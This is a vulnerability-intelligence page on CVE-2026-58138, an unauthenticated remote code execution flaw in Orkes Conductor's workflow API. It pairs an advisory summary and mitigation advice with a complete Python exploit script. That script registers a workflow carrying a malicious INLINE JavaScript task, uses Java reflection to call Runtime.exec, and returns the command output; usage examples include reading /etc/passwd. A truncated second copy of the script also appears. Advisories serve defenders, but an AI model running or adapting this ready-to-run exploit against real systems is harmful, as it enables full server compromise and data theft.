CVE-2026-58138: Improper Control of Generation of Code ('Code Injection') in conductor-oss conductor
Orkes Conductor versions before 3.30.2 contain a critical unauthenticated remote code execution vulnerability. Attackers can submit malicious inline workflow definitions with JavaScript or Python expressions to the workflow API endpoint before authentication. This exploits unsandboxed GraalVM evaluators configured with permissive host access, allowing arbitrary OS command execution via Java reflection or subprocess calls.
AI Analysis
Technical Summary
CVE-2026-58138 affects Orkes Conductor versions prior to 3.30.2, specifically including 3.21.21. The vulnerability arises from unsandboxed GraalVM evaluators configured with HostAccess.ALL or allowAllAccess(true) that process inline workflow definitions submitted to the workflow API endpoint without authentication. Attackers can leverage task types such as INLINE, LAMBDA, DO_WHILE, and SWITCH to execute arbitrary operating system commands through Java reflection or direct subprocess invocation, resulting in unauthenticated remote code execution.
Potential Impact
Successful exploitation allows remote attackers to execute arbitrary OS commands on the affected system without any authentication. This can lead to full system compromise, data theft, or disruption of service. The vulnerability is critical with a CVSS 4.0 score of 9.3, reflecting its ease of exploitation and high impact on confidentiality, integrity, and availability.
Mitigation Recommendations
A patch is available for this vulnerability. Since this is a cloud-hosted service, the vendor manages remediation server-side. Users should verify with the vendor advisory that their service instance has been updated to version 3.30.2 or later to ensure protection. Until patched, avoid exposing the workflow API endpoint to untrusted networks or unauthenticated users.
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: OrkesConductor 3.30.2 - Unauthenticated Remote Code Execution # CVE: CVE-2026-58138 # Date: 2026-07-10 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://orkes.io/ # Software Link: https://github.com/conductor-oss/conductor # Affected: Orkes Conductor / Conductor OSS 3.21.21 < 3.30.2 # Tested on: conductoross/conductor:3.22.3 # Category: Remote Code Execution # Platform: Linux # Exploit Type: Unauthenticated RCE # CVSS: 9.8 # Description: Unauthenticated remote code execution by submitting malicious INLINE JavaScript tasks that abuse unsandboxed GraalVM HostAccess.ALL for Java reflection and Runtime.exec. # Fixed in: 3.30.2 # Usage: # python3 exploit.py <target> [-c CMD] # # Examples: # python3 exploit.py http://127.0.0.1:8080 # python3 exploit.py http://target:8080 -c "whoami; id; cat /etc/passwd" # # Options: # target Conductor API base URL (e.g. http://127.0.0.1:8080) # -c, --cmd Command to execute (default: id; hostname) # # Notes: # • Requires no authentication (default community API behavior). # • Runs as the Conductor process user (often root in Docker). # • Pure Python stdlib - no extra dependencies. import argparse import json import sys import time import urllib.request def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) def js_rce(cmd): c = cmd.replace("\\", "\\\\").replace("'", "\\'") return ( "var k=$.getClass().getClass();" "var S=k.getMethod('getName').getReturnType();" "var forName=k.getMethod('forName',S);" "var L=function(n){return forName.invoke(null,[n]);};" "var RT=L('java.lang.Runtime');" "var rt=RT.getMethod('getRuntime').invoke(null,[]);" "var I=L('java.lang.Integer').getField('TYPE').get(null);" "var A=L('java.lang.reflect.Array');" "var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);" "var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));" f"set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'{c}']);" "var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();" "var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());" "var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);" "var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o" ) def call(base, path, data=None, method=None): url = base.rstrip("/") + path body = json.dumps(data).encode() if data is not None else None req = urllib.request.Request( url, data=body, method=method or ("POST" if data is not None else "GET"), headers={"Content-Type": "application/json", "Accept": "application/json,text/plain,*/*"} ) with urllib.request.urlopen(req, timeout=30) as r: raw = r.read().decode() try: return r.status, json.loads(raw) except Exception: return r.status, raw def main(): banner() ap = argparse.ArgumentParser(description="CVE-2026-58138 Conductor unauth RCE") ap.add_argument("target", help="Conductor API base, e.g. http://127.0.0.1:8080") ap.add_argument("-c", "--cmd", default="id; hostname", help="command to run on the Conductor host") args = ap.parse_args() wf = "pwn_" + str(int(time.time())) wfdef = { "name": wf, "version": 1, "schemaVersion": 2, "ownerEmail": "[email protected]", "tasks": [{ "name": "pwn", "taskReferenceName": "pwn", "type": "INLINE", "inputParameters": {"evaluatorType": "javascript", "expression": js_rce(args.cmd)}, }], } print(f"[*] Target: {args.target} cmd={args.cmd!r}") print("[*] Registering workflow with malicious INLINE task ... (no auth)") call(args.target, "/api/metadata/workflow", wfdef) st, wid = call(args.target, f"/api/workflow/{wf}", {}) wid = wid if isinstance(wid, str) else str(wid) print(f"[*] Started workflow id={wid}; fetching output ...") time.sleep(2) st, info = call(args.target, f"/api/workflow/{wid}?includeTasks=true") out = None for t in (info.get("tasks") or []): if t.get("taskType") == "INLINE": out = (t.get("outputData") or {}).get("result") if out: print("\n[+] RCE SUCCESS - Command output:") print(str(out).strip()) else: print("[!] No output captured. Workflow status:", info.get("status")) if __name__ == "__main__": sys.exit(main() or 0)
CVE-2026-58138: Improper Control of Generation of Code ('Code Injection') in conductor-oss conductor
Description
Orkes Conductor versions before 3.30.2 contain a critical unauthenticated remote code execution vulnerability. Attackers can submit malicious inline workflow definitions with JavaScript or Python expressions to the workflow API endpoint before authentication. This exploits unsandboxed GraalVM evaluators configured with permissive host access, allowing arbitrary OS command execution via Java reflection or subprocess calls.
CVSS v4.0
Score 9.3critical
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-58138 affects Orkes Conductor versions prior to 3.30.2, specifically including 3.21.21. The vulnerability arises from unsandboxed GraalVM evaluators configured with HostAccess.ALL or allowAllAccess(true) that process inline workflow definitions submitted to the workflow API endpoint without authentication. Attackers can leverage task types such as INLINE, LAMBDA, DO_WHILE, and SWITCH to execute arbitrary operating system commands through Java reflection or direct subprocess invocation, resulting in unauthenticated remote code execution.
Potential Impact
Successful exploitation allows remote attackers to execute arbitrary OS commands on the affected system without any authentication. This can lead to full system compromise, data theft, or disruption of service. The vulnerability is critical with a CVSS 4.0 score of 9.3, reflecting its ease of exploitation and high impact on confidentiality, integrity, and availability.
Mitigation Recommendations
A patch is available for this vulnerability. Since this is a cloud-hosted service, the vendor manages remediation server-side. Users should verify with the vendor advisory that their service instance has been updated to version 3.30.2 or later to ensure protection. Until patched, avoid exposing the workflow API endpoint to untrusted networks or unauthenticated users.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- VulnCheck
- Date Reserved
- 2026-06-29T14:13:18.385Z
- Cvss Version
- 4.0
- State
- PUBLISHED
- Remediation Level
- null
- Is Cloud Service
- true
Indicators of Compromise
Exploit Source Code
Exploit code for OrkesConductor 3.30.2 - Unauthenticated Remote Code Execution
#!/usr/bin/env python3 # Exploit Title: OrkesConductor 3.30.2 - Unauthenticated Remote Code Execution # CVE: CVE-2026-58138 # Date: 2026-07-10 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://orkes.io/ # Software Link: https://github.c... (4970 more characters)
Threat ID: 6a44103527e9c797193b6df4
Added to database: 06/30/2026, 18:51:33 UTC
Last enriched: 08/10/2026, 21:19:16 UTC
Last updated: 08/15/2026, 00:41:14 UTC
Views: 1296
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.